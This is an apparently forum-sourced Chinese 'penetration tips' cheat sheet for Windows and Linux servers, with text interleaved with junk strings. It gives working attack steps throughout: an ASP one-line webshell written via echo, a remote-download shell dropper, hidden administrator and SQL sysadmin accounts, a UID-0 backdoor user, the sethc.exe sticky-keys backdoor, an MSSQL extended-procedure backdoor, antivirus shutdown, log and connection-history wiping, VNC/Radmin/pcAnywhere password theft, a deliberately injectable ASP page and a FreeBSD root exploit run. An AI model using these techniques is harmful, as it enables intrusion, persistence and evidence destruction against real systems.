渗透技巧总结

admin

旁站路径问题
8 v" _+ Y5 J. x; G, n. x1 W+ [1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
% x& {! b* L0 Q        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
" V& o* s; M/ |9 O2 a$ N! m$ L        WScript.Quit
End If
Set ObjService=GetObject
4 G8 b- h. {" U0 x
: {$ H9 i$ E# t: a, h("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
6 I1 t2 E- G# S, T) E" Q        If IsNumeric(obj3w.Name)
3 K; e' Z" ~1 V, H9 j, k
7 U4 [! d, U1 p0 M4 \  |5 pThen
6 Z# n* i& F. U7 z. F4 H                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

: b: q; w# l, f# v8 e) F* X# x<> 0 Then WScript.Quit (1)
- r" ]) y+ }: Q; v                WScript.Echo Chr(10) & "[" &
) N: b2 |$ G+ F7 z7 K
& N: I2 r4 U0 N% S* `, [( |" Y' ^OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
. Q  h- y* Y) w+ o" C: ?" w* i/ q! j- D
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
/ R9 X' X2 y- a                Next
      
2 N% X$ v5 X) d7 I7 N. y
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
- w6 F  Y: ?( i; B9 Q: n/ c0 |3 ?3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
* B! [! w: ]9 f( O) m9 QWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
5 Q' X* {- n/ Q% JphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
: [3 v8 ~% l) n: j3 j7 q6 g6 P$ W网站可能目录(注：一般是虚拟主机类）
: Q: V, n' N: D* {* T8 b7 q1 }data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
: T( {' q  v1 Q+ y: Knetsh ras set user administrator permit #允许administrator拨入该VPN
8 G/ i' M. S# X5 N8 _/ C3 r) X, Cnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
2 n3 N1 c5 A- _& \8 ^- U" Mnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
1 `6 C" `0 S& p$ V7 {netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
7 M! a2 U6 ~* S, Y————————————————————
命令行下添加SQL用户的方法
; ~8 A& l6 e) Y0 Z1 y0 r$ l需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
/ d) L# w7 K5 F然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
. D, R! w% j+ b6 s2 F6 [
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
. |+ _- Y' C+ v! [$ V1 R. P' \z=o.create("test") ;
  O  X- U, A6 @- G! A% Gz.changePassword("123456","")
z.setting("AccountType")=3;
5 l4 V; M3 |) }& [+ l' Y& S
) f) X9 [$ h: c% g$ cvbs:
Set   o=CreateObject( "Shell.Users" )
3 P9 _/ V$ Y. N: Z) e) FSet z=o.create("test")
z.changePassword "123456",""
& L. O5 }' W" R/ [* |/ nz.setting("AccountType")=3
: i0 k( o  [0 D1 y——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

: }" W% w6 Z- ?, u命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
- @( p3 d  q' P7 Ocacls "目录" /d everyone               #everyone不可读，包括admin
7 I6 j" X) J0 K* _/ H  R: g/ z& L————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
8 K- w8 k* Y6 `% Zc、终端服务器超出了最大允许连接
) W. ], d5 H! OXP 运行mstsc /admin
- M" g8 b* o0 P% O4 l' z* O8 t2 s2003 运行mstsc /console   
1 ]: D( y( x1 S4 L
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
7 n- y- I* }5 e6 R0 \( Mnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
( X) @' D7 M8 B8 u6 @net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
2 @6 @/ g1 ^8 u( t: [( j————————————————————

5次SHIFT：
' Y* O- L. |/ Q8 Kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
9 b3 m/ l& Q/ q' S' M隐藏账号添加：
2 f2 I, G$ |) H1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
* i+ q1 b: I8 ~  n7 W3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
# u! |( y+ K3 }——————————————————————
$ g. z9 f0 C* q1 i* kMSSQL扩展后门：
USE master;
7 a  `, c: s" b! X% Z/ H$ WEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
- K0 R( X% a" j———————————————————————
5 E9 j, T% V) N% K日志处理
2 `+ K! y; j* PC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
8 m( _5 v/ r$ C- f/ E. I  dex011120.log / ex011121.log / ex011124.log三个文件，
- h: W" Y2 n/ S8 M' I+ w1 G8 l/ y直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
) @! j, A  t! j# Q: J用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
6 e  n5 L" p( Z" U  C8 e  E# o! s当停止msftpsvc服务后可直接删除ex011124.log
. B* a! |3 I7 g7 J3 j3 w
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
: }8 o8 O, Y# z" [* B+ E, T: l* Q找到接接过的信息删除。
7 l7 s, L7 R6 E0 s$ U1 XMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
5 c' S/ ]/ J) Z$ I; P—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
) x8 w3 d3 I* _# e; j
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
3 d/ V# K9 |5 G+ b8 o" i3 iDim Ads, Retrieval, GetRemoteData
9 ?3 Q# Q. u3 h* sOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
- `  ]8 M6 M8 K% K5 [; yWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
# Y2 P* L. n9 K& b, ?: y3 }' ^+ _.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
: o4 Z: b: b: E: t7 ISet Ads = Server.CreateObject("Adodb.Stream")
With Ads
% {( @5 I: q9 K3 }) K.Type = 1
8 Q4 C: h7 b- L.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
* z* }4 l8 k3 f  J.Close()
End With
Set Ads=nothing
' C1 Y& S: b; y! z! bEnd Sub
' H3 z1 \+ Y9 d4 e) R
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
7 T1 B0 X- p+ a& W0 U%>
6 K. w; n7 a9 c9 m
4 W& f' V7 {, N/ l8 KVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
& m, B; y+ Z5 uregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
7 x& |3 a9 h  [. q0 v2 jHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
) O! e4 _4 L! c2 t- ?" wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
# H. e) w/ Z3 [6 y1 Y然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
- W$ U' I# h5 I2 b% j保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
. h9 [0 n4 f$ U. _9 D. ^: v  MUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
8 V6 b6 q% f% H4 J+ jWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
) _" G  y" r2 a% Q7 }: f没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

; a% k. d5 F: m1433 SA点构建注入点。
* G- P! H" f3 p2 m2 q+ _: u<%
4 W) G+ S- |$ ~" r# cstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
: b0 B- H4 X& a6 S; |& Z: B! s- BstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
4 v4 Z: R0 _" W0 ?
  Y( @$ O( L( W";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
9 z2 s  R& F* I. ]6 q; o- J( w
! h7 X% c3 p' U: a: }strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
+ o, B8 p/ t. d' o% X6 tset rs=server.createobject("ADODB.recordset")
id = request("id")
; u  q1 ^; j  m4 ystrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
# B3 }" b% ]  s" ?* _复制代码
******liunx 相关******
) M: ?  B" |& H/ I# ^: E一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
( o: z5 V# G& F! }2 J% u& t1 \; T
2 R+ x9 s3 \+ y5 z/ f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
5 G2 ], h3 f7 {# x* f, Q找到ou,dc,dc设置
2 G  @& M$ }2 n3 ]' O, ]* x4 R2 f
3.查找管理员信息
$ m  _, s; l6 Y0 p& }! R* a6 H! `1 q匿名方式
# |& ^1 i/ j- qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 n( x. ?! b% C, l* F6 W3 T
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 t( o2 P4 A* h+ M

# b; i3 B9 B4 q4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 \8 I* X  P( d4 m% g( b7 P* |
实战:
1.cat /etc/nsswitch
# L/ T  R! H( Z1 d  K/ C" V看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
/ C; ]; D( A/ a- J5 D
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 S1 s: i1 P' g
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: [6 M9 g2 r0 m+ b: w. K) z: g3 m3 w有密码形式
* h# U6 P, b. I2 nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 p) L4 K4 m" ^+ y: x
# D! h" O% W: u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ j, m9 |! }# K

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
: E: G& F; o- r9 C0 ~  Z/ w; \2 F$ L( l; [1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
, _, i. T( H# T/ F/ lversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
9 h% S1 P) E( C: \3 H& q
dn: uid=manager,dc=ruc,dc=edu,dc=cn
- A$ g- J0 [  H$ I3 Cuid: manager
; p( ?6 k, A" d- ^objectClass: inetOrgPerson
objectClass: organizationalPerson
% V4 e: F8 X; aobjectClass: person
objectClass: top
sn: manager
cn: manager

" x$ |: f' y7 |  M/ c5 rdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
0 C6 q1 g$ D/ ]( E$ l0 |% s$ Yuid: superadmin
6 o9 l3 Z( ^6 V/ v- g( m. {objectClass: inetOrgPerson
objectClass: organizationalPerson
, h4 N, ?+ F9 G8 B! dobjectClass: person
! w7 X6 P, |! C# ?- C; u) ZobjectClass: top
7 ~; V: o6 u2 n. F7 J. Jsn: superadmin
" A5 r6 W9 Y, \7 vcn: superadmin

  c  N! B9 |3 s+ J# Pdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
' @9 ?) v9 n$ K3 C% Z4 {6 WobjectClass: inetOrgPerson
objectClass: organizationalPerson
) _: t8 P: D' }) [objectClass: person
objectClass: top
# d2 x, O7 V9 Ssn: admin
- x3 t8 Q  n" ^+ ?5 l, wcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
& z. \" p$ K( s& \8 X4 hobjectClass: inetOrgPerson
1 M3 y+ a! C0 @! ]sn: dcp_anonymous
cn: dcp_anonymous
3 [  N- g: W+ U. s/ e! h- o2 [
' Z/ _( y2 c  ~6 m5 G) C1 y2.查看基类
) [  M( ^9 r% Sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

2 q8 [7 z: R, E  f7 K4 }& ]7 Y" w$ umore
: q0 h7 r% g" a4 A, n- jversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
' a/ L( `: g* b9 p6 d5 C4 e  c
. S0 g# U' S$ o0 Z3.查找
- ?9 C" B. W/ l+ h" L  {8 bbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
4 C9 G( e, O  T* T0 i4 j; edn:
3 R  v. W$ a  BobjectClass: top
( ]* a: B& n  R; fnamingContexts: dc=ruc,dc=edu,dc=cn
7 Q; ?# `8 l, t9 S  U+ X2 isupportedExtension: 2.16.840.1.113730.3.5.7
# D0 d6 t- ^5 E4 u# z5 BsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
  T0 X7 [# u* @3 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
! C: ]  ?& f. n- n  esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 x. G  [! W3 B. g8 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
% _/ M5 E3 B- F0 Q5 y" msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
7 ^4 u/ P( ^' M, NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
* g, E, B8 U  ?1 V' tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
1 W2 o# u) [4 r6 F$ K; R# RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
! q' x& v! @0 B0 S& OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
. B6 v! C2 p' k3 Q6 ~/ u5 W* esupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
7 w1 }3 `5 R) z8 i- R( U. JsupportedControl: 2.16.840.1.113730.3.4.3
" C' A& O& D8 s& R3 @, |supportedControl: 2.16.840.1.113730.3.4.4
7 f& x9 {% e7 Q* W) WsupportedControl: 2.16.840.1.113730.3.4.5
& i. R7 v  t" C% Q5 m: vsupportedControl: 1.2.840.113556.1.4.473
% o  g3 V/ n/ }8 o/ osupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
( \1 {- e. j' s9 `5 E& c/ ZsupportedControl: 2.16.840.1.113730.3.4.19
; n" d" q' h1 ~% J; J! B$ ~supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
* H5 P1 U* U+ KsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
0 A( z' A0 B9 |7 vsupportedControl: 2.16.840.1.113730.3.4.14
6 o- a) i4 e: C, isupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
1 l* x8 W6 R9 T* i/ j5 B& ]supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
; K% z6 F8 V, g$ Y; U4 hsupportedSASLMechanisms: DIGEST-MD5
4 h5 Y  a3 u, ~6 Q8 A! Y2 tsupportedLDAPVersion: 2
8 F0 c  q$ |, _9 `) C' c& ?; rsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
9 u. c6 i. e+ bdataversion: 020090516011411
0 h* Q, t8 ^; B6 H0 z  N% w6 Hnetscapemdsuffix: cn=ldap://dc=webA:389
5 U. |( P( @: A6 r; ]supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+ u" t1 Q% S6 }supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
* K# w8 u% q9 ?: H( x* M1 dsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
- J& s6 t/ p% U- ~( AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
# H4 t7 a! W1 |1 vsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
- v0 s/ I" i+ csupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
1 o/ H( f/ C: B+ L+ i$ t% esupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
% G6 d5 ~5 C: p; z7 IsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
1 C# B4 k+ J, x( M2 R2 TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
' _) Z) [7 C; Z6 X! F$ a+ VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
, ~: }& W0 Y: [- M+ }3 |supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
# F6 ~- _5 e' K4 e# h# Z: f: {supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
; `+ z2 c0 l8 ^1 |, F6 T* d6 u2 qsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
% m6 y( Q; M5 B. k& X, Z4 `% i6 ysupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
: e( A) E. `6 M. n( r6 h8 q" G# AsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
; x8 d4 ^* w8 LsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
* y$ r% V4 v) e6 I, a; R$ FsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
* {5 l8 {4 m& E0 vsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
* s. }3 i: k0 m" s* U$ y9 NsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
7 p& n# k& @9 @$ v' asupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
8 B+ N( o8 H" Z8 o1 F( DsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
$ B0 N4 L- c6 `( R: H$ HsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
  y4 ^& G3 @! u7 c' j3 c# i1 bsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
- ~) C8 w: `5 Q( \supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
2 }9 f+ ~5 S! {supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
' m/ \- @7 Y3 t/ a- psupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
/ ]6 Z  ~* ?3 z5 gsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
; M2 g# w. H' p9 P————————————
/ J$ m) G) y- J2. NFS渗透技巧
! H2 n) K% T# G" E0 X- Q1 Sshowmount -e ip
8 ], v  h8 q' o1 K3 j  c9 [/ o- f列举IP
——————
( g5 J7 o; n) `! x0 _2 Y! u) y3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
2 q+ _% y1 M# Y) N( E  gimg_finance
auto
5 E+ o6 q* Z. q3 I$ F) Ximg_auto
( f5 H" t1 {# X1 B/ s/ Xhtml_cms
img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
- a6 [' x, \' [" c- R# \/ f, Pchip_c2
0 R2 Q! T5 S% B9 Q1 ]ent_icms
games
# o: S: A. q. F! F7 {gamesimg
/ K" G5 c" L. v% V6 q( x1 Imedia
mediaimg
fashion
res-fashion
& U) z# Y# b: n+ a) H; Rres-fo
taobao-home
/ E! t" \0 T9 n2 x1 Y1 ares-taobao-home
- I0 {9 P- G/ h% A* \) Z2 ]house
6 [# O6 @% L$ S. ~res-house
; L; F; z; v* I$ W6 ]5 Bres-home
1 _& o0 u  @8 b, yres-edu
res-ent
res-labs
  _$ t; U  J; g; g5 Hres-news
res-phtv
+ v* k9 Q5 ?; K1 `res-media
2 u( V! X/ K2 g* k. fhome
edu
& z: m1 a5 E0 S3 p1 V. a/ {* Anews
& c; D: e+ A2 N: @$ O& ], mres-book
7 h) M) B5 }* P
看相应的下级目录(注意一定要在目录后面添加上/)
5 e8 q$ k% [  S5 M# y& Z
- l7 n, a( i. l3 J: J; O
# x1 h) _+ s& N- L$ Grsync 210.51.X.X::htdocs_app/
2 [% [; ^' c: M- qrsync 210.51.X.X::auto/
8 ]. }* N6 }, H1 M3 Vrsync 210.51.X.X::edu/
$ \; p4 \9 e& ^1 q) o% r4 x! D
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

6 x8 ^9 A$ O& ?9 N2 P3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
1 y* t+ m- g4 u& ]$ hhttp://app.finance.xxx.com/warn/nothack.txt

$ h0 J% f4 r& y% ~8 l; u四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
3 V) ~/ ~* y/ v+ \9 _, ?0 K8 s五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
* Y/ A& H1 E' B* _
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
( s) J: T! g( U1 m
15&catid=32:languages&Itemid=47

5 q$ T0 i2 `0 D: d8 Y6 _) E6 @4 x重新设置密码
index.php?option=com_user&view=reset&layout=confirm
; j2 E2 j3 m) M, l# f! S
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
9 t4 a9 p0 n: Y! a
0 h. L3 u& Q, @$ r7 y1 K" `/ c- S八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
% k0 F  D; y  K* vfs.usermount: 1
! I& K; z8 u: F* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
1 y$ m5 K6 u: n. F*
calling nmount()

0 X2 S% `# S; Z( y, u% ?: s! K（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
' U& G  ^( g& ?% ^3 |8 O# y" H——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
" ~4 M/ `; C- h, b5 E: F; m————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
2 k# ^3 @, p" h注：
